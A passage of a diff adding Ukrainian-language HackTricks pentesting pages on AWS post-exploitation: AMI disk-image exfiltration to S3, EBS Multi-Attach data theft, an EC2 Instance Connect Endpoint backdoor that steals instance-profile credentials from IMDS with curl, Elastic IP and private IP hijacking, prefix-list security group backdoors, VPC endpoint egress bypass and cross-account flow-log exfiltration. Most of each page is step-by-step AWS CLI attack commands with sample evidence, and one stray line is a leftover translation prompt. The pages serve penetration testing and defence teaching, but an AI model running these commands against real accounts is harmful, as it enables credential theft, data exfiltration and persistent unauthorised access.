+- `--no-reboot` створює crash-consistent image без зупинки інстансу (більш непомітно, але менш консистентно).
+
+<details>
+<summary>Покрокові команди</summary>
+```bash
+# Vars
+REGION=us-east-1
+INSTANCE_ID=<i-victim>
+BUCKET=exfil-ami-$(date +%s)-$RANDOM
+
+# 1) Create S3 bucket (same Region)
+if [ "$REGION" = "us-east-1" ]; then
+aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
+else
+aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
+fi
+
+# 2) (Recommended) Bucket policy to allow VMIE service to write the object
+ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+cat > /tmp/bucket-policy.json <<POL
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVMIEPut",
+"Effect": "Allow",
+"Principal": {"Service": "vmie.amazonaws.com"},
+"Action": [
+"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
+"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
+],
+"Resource": [
+"arn:aws:s3:::$BUCKET",
+"arn:aws:s3:::$BUCKET/*"
+],
+"Condition": {
+"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
+"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
+}
+}
+]
+}
+POL
+aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
+
+# 3) Create an AMI of the victim (stealthy: do not reboot)
+AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
+
+# 4) Wait until the AMI is available
+aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
+
+# 5) Store the AMI to S3 as a single object (raw disk image)
+OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
+
+echo "Object in S3: s3://$BUCKET/$OBJKEY"
+
+# 6) Poll the task until it completes
+until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
+aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text
+sleep 10
+done
+
+# 7) Prove access to the exported image (download first 1MiB)
+aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
+aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
+ls -l /tmp/ami.bin
+
+# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
+aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
+for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
+--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
+aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
+done
+aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
+aws s3 rb "s3://$BUCKET" --force --region "$REGION"
+```
+</details>
+
+## Приклад доказів
+
+- `describe-store-image-tasks` переходи:
+```text
+InProgress
+Completed
+```
+- Метадані об'єкта S3 (приклад):
+```json
+{
+"AcceptRanges": "bytes",
+"LastModified": "2025-10-08T01:31:46+00:00",
+"ContentLength": 399768709,
+"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
+"ContentType": "application/octet-stream",
+"ServerSideEncryption": "AES256",
+"Metadata": {
+"ami-name": "exfil-1759887010",
+"ami-owner-account": "<account-id>",
+"ami-store-date": "2025-10-08T01:31:45Z"
+}
+}
+```
+- Часткове завантаження доводить доступ до об'єкта:
+```bash
+ls -l /tmp/ami.bin
+# -rw-r--r--  1 user  wheel  1048576 Oct  8 03:32 /tmp/ami.bin
+```
+## Необхідні дозволи IAM
+
+- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
+- S3 (на експортному бакеті): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
+- KMS: Якщо AMI snapshots зашифровані, дозволити decrypt для EBS KMS key, що використовується снапшотами
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md

@@ -0,0 +1,77 @@
+# AWS - Live Data Theft via EBS Multi-Attach
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Резюме
+Зловживати EBS Multi-Attach, щоб читати з живого тома даних io1/io2 шляхом приєднання того ж тому до attacker-controlled instance в тій же Availability Zone (AZ). Монтування спільного тому тільки для читання дає негайний доступ до файлів, що використовуються, без створення snapshots.
+
+## Вимоги
+- Цільовий том: io1 або io2, створений з `--multi-attach-enabled` в тій же AZ, що й attacker instance.
+- Дозволи: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` на цільовому томі/екземплярах.
+- Інфраструктура: Nitro-based instance types, які підтримують Multi-Attach (C5/M5/R5 families, etc.).
+
+## Примітки
+- Монтуйте в режимі лише для читання з `-o ro,noload`, щоб зменшити ризик пошкодження і уникнути повторного відтворення журналу.
+- На Nitro екземплярах EBS NVMe пристрій надає стабільний шлях `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` (допоміжний матеріал нижче).
+
+## Підготуйте Multi-Attach io2 том і приєднайте до victim
+
+Приклад (створити в `us-east-1a` і приєднати до victim):
+```bash
+AZ=us-east-1a
+# Create io2 volume with Multi-Attach enabled
+VOL_ID=$(aws ec2 create-volume \
+--size 10 \
+--volume-type io2 \
+--iops 1000 \
+--availability-zone $AZ \
+--multi-attach-enabled \
+--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
+--query 'VolumeId' --output text)
+
+# Attach to victim instance
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
+```
+На жертві відформатуйте/змонтуйте новий том і запишіть чутливі дані (ілюстративно):
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkfs.ext4 -F "$DEV"
+sudo mkdir -p /mnt/shared
+sudo mount "$DEV" /mnt/shared
+echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
+sudo sync
+```
+## Підключіть той самий volume до attacker instance
+```bash
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
+```
+## Mount read-only на attacker та read data
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkdir -p /mnt/steal
+sudo mount -o ro,noload "$DEV" /mnt/steal
+sudo cat /mnt/steal/secret.txt
+```
+Очікуваний результат: той самий `VOL_ID` відображає кілька `Attachments` (victim and attacker), і attacker може читати файли, записані victim, без створення snapshot.
+```bash
+aws ec2 describe-volumes --volume-ids $VOL_ID \
+--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
+```
+<details>
+<summary>Допомога: знайти шлях NVMe-пристрою за Volume ID</summary>
+
+На Nitro інстансах використовуйте стабільний шлях by-id, який містить Volume ID (видаліть дефіс після `vol`):
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
+# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
+```
+</details>
+
+## Вплив
+- Негайний доступ для читання до живих даних на цільовому EBS-томі без створення snapshots.
+- Якщо змонтовано з правами читання‑запису, атакувальник може змінити файлову систему жертви (ризик пошкодження).
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md

@@ -0,0 +1,113 @@
+# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Зловживати EC2 Instance Connect Endpoint (EIC Endpoint), щоб отримати вхідний SSH доступ до приватних EC2 інстансів (без публічної IP/bastion) шляхом:
+- Створення EIC Endpoint всередині цільової підмережі
+- Дозволити вхідний SSH на цільовому SG з SG EIC Endpoint
+- Інжекція короткочасного SSH публічного ключа (дійсний ~60 секунд) за допомогою `ec2-instance-connect:SendSSHPublicKey`
+- Відкриття EIC тунелю та pivoting до інстансу для викрадення облікових даних instance profile з IMDS
+
+Вплив: прихований віддалений шлях доступу до приватних EC2 інстансів, який обходить bastions та обмеження публічних IP. Атакуючий може отримати instance profile та діяти в акаунті.
+
+## Вимоги
+- Права на:
+- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
+- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
+- Цільовий Linux інстанс з SSH сервером та увімкненим EC2 Instance Connect (Amazon Linux 2 або Ubuntu 20.04+). Стандартні користувачі: `ec2-user` (AL2) або `ubuntu` (Ubuntu).
+
+## Змінні
+```bash
+export REGION=us-east-1
+export INSTANCE_ID=<i-xxxxxxxxxxxx>
+export SUBNET_ID=<subnet-xxxxxxxx>
+export VPC_ID=<vpc-xxxxxxxx>
+export TARGET_SG_ID=<sg-of-target-instance>
+export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
+# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
+export OS_USER=ec2-user
+```
+## Створити EIC Endpoint
+```bash
+aws ec2 create-instance-connect-endpoint \
+--subnet-id "$SUBNET_ID" \
+--security-group-ids "$ENDPOINT_SG_ID" \
+--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
+--region "$REGION" \
+--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
+
+# Wait until ready
+while true; do
+aws ec2 describe-instance-connect-endpoints \
+--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
+--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
+grep -q 'create-complete' EIC_STATE && break
+sleep 5
+done
+```
+## Дозволити трафік від EIC Endpoint до цільової інстанції
+```bash
+aws ec2 authorize-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+```
+## Ін'єкція ефемерного SSH-ключа та відкриття тунелю
+```bash
+# Generate throwaway key
+ssh-keygen -t ed25519 -f /tmp/eic -N ''
+
+# Send short-lived SSH pubkey (valid ~60s)
+aws ec2-instance-connect send-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--instance-os-user "$OS_USER" \
+--ssh-public-key file:///tmp/eic.pub \
+--region "$REGION"
+
+# Open a local tunnel to instance:22 via the EIC Endpoint
+aws ec2-instance-connect open-tunnel \
+--instance-id "$INSTANCE_ID" \
+--instance-connect-endpoint-id "$(cat EIC_ID)" \
+--local-port 2222 --remote-port 22 --region "$REGION" &
+TUN_PID=$!; sleep 2
+
+# SSH via the tunnel (within the 60s window)
+ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
+```
+## Post-exploitation доказ (steal instance profile credentials)
+```bash
+# From the shell inside the instance
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
+```
+Будь ласка, вставте вміст файлу src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md або надайте текст, який потрібно перекласти.
+```json
+{
+"Code": "Success",
+"AccessKeyId": "ASIA...",
+"SecretAccessKey": "w0G...",
+"Token": "IQoJ...",
+"Expiration": "2025-10-08T04:09:52Z"
+}
+```
+Використайте вкрадені creds локально для перевірки ідентичності:
+```bash
+export AWS_ACCESS_KEY_ID=<AccessKeyId>
+export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
+export AWS_SESSION_TOKEN=<Token>
+aws sts get-caller-identity --region "$REGION"
+# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
+```
+## Очищення
+```bash
+# Revoke SG ingress on the target
+aws ec2 revoke-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+
+# Delete EIC Endpoint
+aws ec2 delete-instance-connect-endpoint \
+--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
+```
+> Примітки
+> - Інжектований SSH-ключ дійсний лише близько ~60 секунд; надішліть ключ безпосередньо перед відкриттям тунелю/SSH.
+> - `OS_USER` повинен відповідати AMI (наприклад, `ubuntu` для Ubuntu, `ec2-user` для Amazon Linux 2).

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md

@@ -0,0 +1,52 @@
+# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Підсумок
+
+Зловживання `ec2:AssociateAddress` (та опційно `ec2:DisassociateAddress`) для повторної асоціації Elastic IP (EIP) з інстансу/ENI цілі на інстанс/ENI зловмисника. Це перенаправляє вхідний трафік, спрямований на EIP, до зловмисника і також дозволяє зловмиснику ініціювати вихідний трафік з allowlisted публічною IP-адресою, щоб обійти зовнішні фаєрволи партнерів.
+
+## Передумови
+- Target EIP allocation ID in the same account/VPC.
+- Інстанс/ENI зловмисника під вашим контролем.
+- Права:
+- `ec2:DescribeAddresses`
+- `ec2:AssociateAddress` для allocation-id EIP та для інстансу/ENI зловмисника
+- `ec2:DisassociateAddress` (необов'язково). Примітка: `--allow-reassociation` автоматично від'єднає від попереднього приєднання.
+
+## Атака
+
+Змінні
+```bash
+REGION=us-east-1
+ATTACKER_INSTANCE=<i-attacker>
+VICTIM_INSTANCE=<i-victim>
+```
+1) Виділити або визначити EIP жертви (лабораторія виділяє новий і прикріплює його до жертви)
+```bash
+ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
+EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
+```
+2) Перевірте, що EIP наразі вказує на сервіс жертви (наприклад, перевірка на banner)
+```bash
+curl -sS http://$EIP | grep -i victim
+```
+3) Повторно асоціювати EIP з attacker (автоматично від'єднається від victim)
+```bash
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
+```
+4) Перевірте, що EIP тепер вказує на attacker service
+```bash
+sleep 5; curl -sS http://$EIP | grep -i attacker
+```
+Докази (переміщена асоціація):
+```bash
+aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
+--query Addresses[0].AssociationId --output text
+```
+## Вплив
+- Inbound impersonation: Увесь трафік до захопленого EIP доставляється на attacker instance/ENI.
+- Outbound impersonation: Attacker може ініціювати трафік, який виглядає так, ніби він походить з allowlisted public IP (корисно для обходу partner/external source IP filters).
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md

@@ -0,0 +1,50 @@
+# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Зловживати `ec2:UnassignPrivateIpAddresses` та `ec2:AssignPrivateIpAddresses`, щоб вкрасти secondary private IP ENI жертви та перемістити її на ENI нападника в тому ж subnet/AZ. Багато внутрішніх сервісів і security groups контролюють доступ за конкретними приватними IP-адресами. Перемістивши цю secondary адресу, нападник видає себе за довірений хост на рівні L3 і може отримати доступ до allowlisted services.
+
+Prereqs:
+- Права: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` on the victim ENI ARN, and `ec2:AssignPrivateIpAddresses` on the attacker ENI ARN.
+- Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).
+
+Variables:
+- REGION=us-east-1
+- VICTIM_ENI=<eni-xxxxxxxx>
+- ATTACKER_ENI=<eni-yyyyyyyy>
+- PROTECTED_SG=<sg-protected>   # SG on a target service that allows only $HIJACK_IP
+- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
+
+Кроки:
+1) Оберіть secondary IP з ENI жертви
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
+export HIJACK_IP=$(cat HIJACK_IP)
+```
+2) Переконайтеся, що захищений хост дозволяє лише ту IP-адресу (ідемпотентно). Якщо натомість використовуєте правила SG-to-SG, пропустіть.
+```bash
+aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
+```
+3) Базова перевірка: з attacker instance запит до PROTECTED_HOST має зазнати невдачі без підробленого джерела (наприклад, через SSM/SSH)
+```bash
+curl -sS --max-time 3 http://$PROTECTED_HOST || true
+```
+4) Зніміть призначення вторинної IP-адреси з ENI жертви
+```bash
+aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+5) Призначте той самий IP атакуючому ENI (у AWS CLI v1 додайте `--allow-reassignment`)
+```bash
+aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+6) Перевірити, що право власності передано
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
+```
+7) З attacker instance виконайте source-bind на hijacked IP, щоб дістатися до захищеного хоста (переконайтеся, що IP налаштовано в ОС; якщо ні, додайте його за допомогою `ip addr add $HIJACK_IP/<mask> dev eth0`)
+```bash
+curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
+```
+## Вплив
+- Обійти списки дозволених IP і видавати себе за довірені хости в межах VPC шляхом переміщення вторинних приватних IP між ENIs у тій самій підмережі/AZ.
+- Отримати доступ до внутрішніх сервісів, які обмежують доступ за конкретними IP-адресами джерела, що дозволяє lateral movement і доступ до даних.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md

@@ -0,0 +1,72 @@
+# AWS - Security Group Backdoor via Managed Prefix Lists
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Резюме
+Зловживання customer-managed Prefix Lists для створення прихованого шляху доступу. Якщо правило security group (SG) посилається на managed Prefix List, будь-хто з можливістю змінювати цей список може тихо додати attacker-controlled CIDRs. Кожен SG (і потенційно Network ACL або VPC endpoint), який посилається на список, відразу дозволяє нові діапазони без видимих змін у SG.
+
+## Вплив
+- Миттєве розширення дозволених IP-діапазонів для всіх SG, що посилаються на Prefix List, обходячи контролі змін, які моніторять лише редагування SG.
+- Дозволяє створювати стійкі ingress/egress backdoors: тримає шкідливий CIDR прихованим у Prefix List, поки правило SG виглядає незмінним.
+
+## Вимоги
+- IAM permissions:
+- `ec2:DescribeManagedPrefixLists`
+- `ec2:GetManagedPrefixListEntries`
+- `ec2:ModifyManagedPrefixList`
+- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (щоб ідентифікувати прикріплені SG)
+- Необов'язково: `ec2:CreateManagedPrefixList` якщо створюється новий для тестування.
+- Середовище: щонайменше одне правило SG, що посилається на цільовий customer-managed Prefix List.
+
+## Змінні
+```bash
+REGION=us-east-1
+PREFIX_LIST_ID=<pl-xxxxxxxx>
+ENTRY_CIDR=<attacker-cidr/32>
+DESCRIPTION="Backdoor – allow attacker"
+```
+## Кроки атаки
+
+1) **Перелічити потенційні prefix lists та їхніх споживачів**
+```bash
+aws ec2 describe-managed-prefix-lists \
+--region "$REGION" \
+--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
+--output table
+
+aws ec2 get-managed-prefix-list-entries \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--region "$REGION" \
+--query 'Entries[*].[Cidr,Description]'
+```
+Use `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID`, щоб підтвердити, які правила SG залежать від цього prefix list.
+
+2) **Додати attacker CIDR до prefix list**
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
+--region "$REGION"
+```
+3) **Перевірте поширення на групи безпеки**
+```bash
+aws ec2 describe-security-group-rules \
+--region "$REGION" \
+--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
+--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
+--output table
+```
+Трафік з `$ENTRY_CIDR` тепер дозволено скрізь, де посилаються на список префіксів (зазвичай у вихідних правилах на проксі вихідного трафіку або у вхідних правилах для спільних сервісів).
+
+## Докази
+- `get-managed-prefix-list-entries` відображає CIDR зловмисника та опис.
+- `describe-security-group-rules` все ще показує початкове правило SG, яке посилається на список префіксів (зміни в SG не зафіксовано), однак трафік з нового CIDR проходить.
+
+## Очищення
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--remove-entries Cidr="$ENTRY_CIDR" \
+--region "$REGION"
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md

@@ -0,0 +1,68 @@
+# AWS – Обхід виходу (egress) з ізольованих підмереж через VPC Endpoints
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Summary
+
+Ця техніка зловживає VPC Endpoints для створення каналів ексфільтрації з підмереж без Internet Gateways або NAT. Gateway endpoints (наприклад, S3) додають префікс‑ліст маршрути в таблиці маршрутів підмереж; Interface endpoints (наприклад, execute-api, secretsmanager, ssm тощо) створюють доступні ENIs з приватними IP, захищені security groups. Маючи мінімальні дозволи VPC/EC2, нападник може дозволити контрольований egress, який не проходить через публічний Інтернет.
+
+> Prereqs: існуючий VPC і приватні підмережі (без IGW/NAT). Вам знадобляться дозволи на створення VPC endpoints і, для Option B, security group для приєднання до endpoint ENIs.
+
+## Option A – S3 Gateway VPC Endpoint
+
+**Variables**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `RTB_IDS=<comma-separated route table IDs of private subnets>`
+
+1) Створіть дозволяючий endpoint policy файл (необов'язково). Збережіть як `allow-put-get-any-s3.json`:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
+}
+```
+2) Створіть S3 Gateway endpoint (додає маршрут S3 prefix‑list до вибраних таблиць маршрутів):
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.s3 \
+--vpc-endpoint-type Gateway \
+--route-table-ids $RTB_IDS \
+--policy-document file://allow-put-get-any-s3.json   # optional
+```
+Докази для фіксації:
+- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` показує маршрут до AWS S3 префікс-листа (наприклад, `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
+- З інстансу в цих підмережах (з IAM perms) можна exfil через S3 без доступу до інтернету:
+```bash
+# On the isolated instance (e.g., via SSM):
+echo data > /tmp/x.txt
+aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
+```
+## Варіант B – Interface VPC Endpoint for API Gateway (execute-api)
+
+**Змінні**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `SUBNET_IDS=<comma-separated private subnets>`
+- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
+
+1) Створіть interface endpoint і прикріпіть SG:
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.execute-api \
+--vpc-endpoint-type Interface \
+--subnet-ids $SUBNET_IDS \
+--security-group-ids $SG_VPCE \
+--private-dns-enabled
+```
+Докази для збору:
+- `aws ec2 describe-vpc-endpoints` показує endpoint у стані `available` з `NetworkInterfaceIds` (ENIs у ваших підмережах).
+- Інстанси в цих підмережах можуть звертатися до Private API Gateway endpoints через відповідні VPCE ENIs (шлях до Інтернету не потрібен).
+
+## Вплив
+- Обминає контроль вихідного трафіку на периметрі, використовуючи приватні шляхи, керовані AWS, до сервісів AWS.
+- Дозволяє data exfiltration з ізольованих підмереж (наприклад, запис у S3; виклики до Private API Gateway; доступ до Secrets Manager/SSM/STS тощо) без IGW/NAT.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md

@@ -0,0 +1,74 @@
+# AWS - VPC Flow Logs Cross-Account Exfiltration to S3
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Резюме
+Зловживати `ec2:CreateFlowLogs` для експорту VPC, subnet або ENI flow logs безпосередньо в S3 bucket, який контролюється зловмисником. Коли роль доставки налаштована на запис у зовнішній bucket, кожне з'єднання, зафіксоване на моніторованому ресурсі, потоково виводиться з облікового запису жертви.
+
+## Вимоги
+- Жертва (principal): `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, та `iam:PassRole` (якщо роль доставки потрібна/створюється).
+- Attacker bucket: політика S3, яка довіряє `delivery.logs.amazonaws.com` з правами `s3:PutObject` та `bucket-owner-full-control`.
+- Опціонально: `logs:DescribeLogGroups`, якщо експортуєте в CloudWatch замість S3 (не потрібно тут).
+
+## Хід атаки
+
+1) **Зловмисник** готує політику для S3 bucket (в акаунті зловмисника), яка дозволяє службі доставки VPC Flow Logs записувати об'єкти. Замініть заповнювачі перед застосуванням:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVPCFlowLogsDelivery",
+"Effect": "Allow",
+"Principal": { "Service": "delivery.logs.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
+"Condition": {
+"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
+}
+}
+]
+}
+```
+Застосувати з облікового запису нападника:
+```bash
+aws s3api put-bucket-policy \
+--bucket <attacker-bucket> \
+--policy file://flowlogs-policy.json
+```
+2) **Victim** (compromised principal) створює flow logs, спрямовані на attacker bucket:
+```bash
+REGION=us-east-1
+VPC_ID=<vpc-xxxxxxxx>
+ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
+aws ec2 create-flow-logs \
+--resource-type VPC \
+--resource-ids "$VPC_ID" \
+--traffic-type ALL \
+--log-destination-type s3 \
+--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
+--deliver-logs-permission-arn "$ROLE_ARN" \
+--region "$REGION"
+```
+За кілька хвилин у attacker bucket з'являються flow log files, що містять з'єднання для всіх ENIs у монітореному VPC/subnet.
+
+## Докази
+
+Приклад записів flow log, записаних у attacker bucket:
+```text
+version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
+2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
+```
+Доказ переліку Bucket:
+```bash
+aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
+```
+## Вплив
+- Постійна ексфільтрація мережевих метаданих (source/destination IPs, ports, protocols) для моніторованого VPC/subnet/ENI.
+- Дозволяє виконувати аналіз трафіку, ідентифікацію конфіденційних сервісів та потенційний пошук security group misconfigurations ззовні облікового запису жертви.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md

@@ -1,92 +0,0 @@
-# AWS - ECR Постексплуатація
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Для отримання додаткової інформації перегляньте
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Увійти, Завантажити та Відправити
-```bash
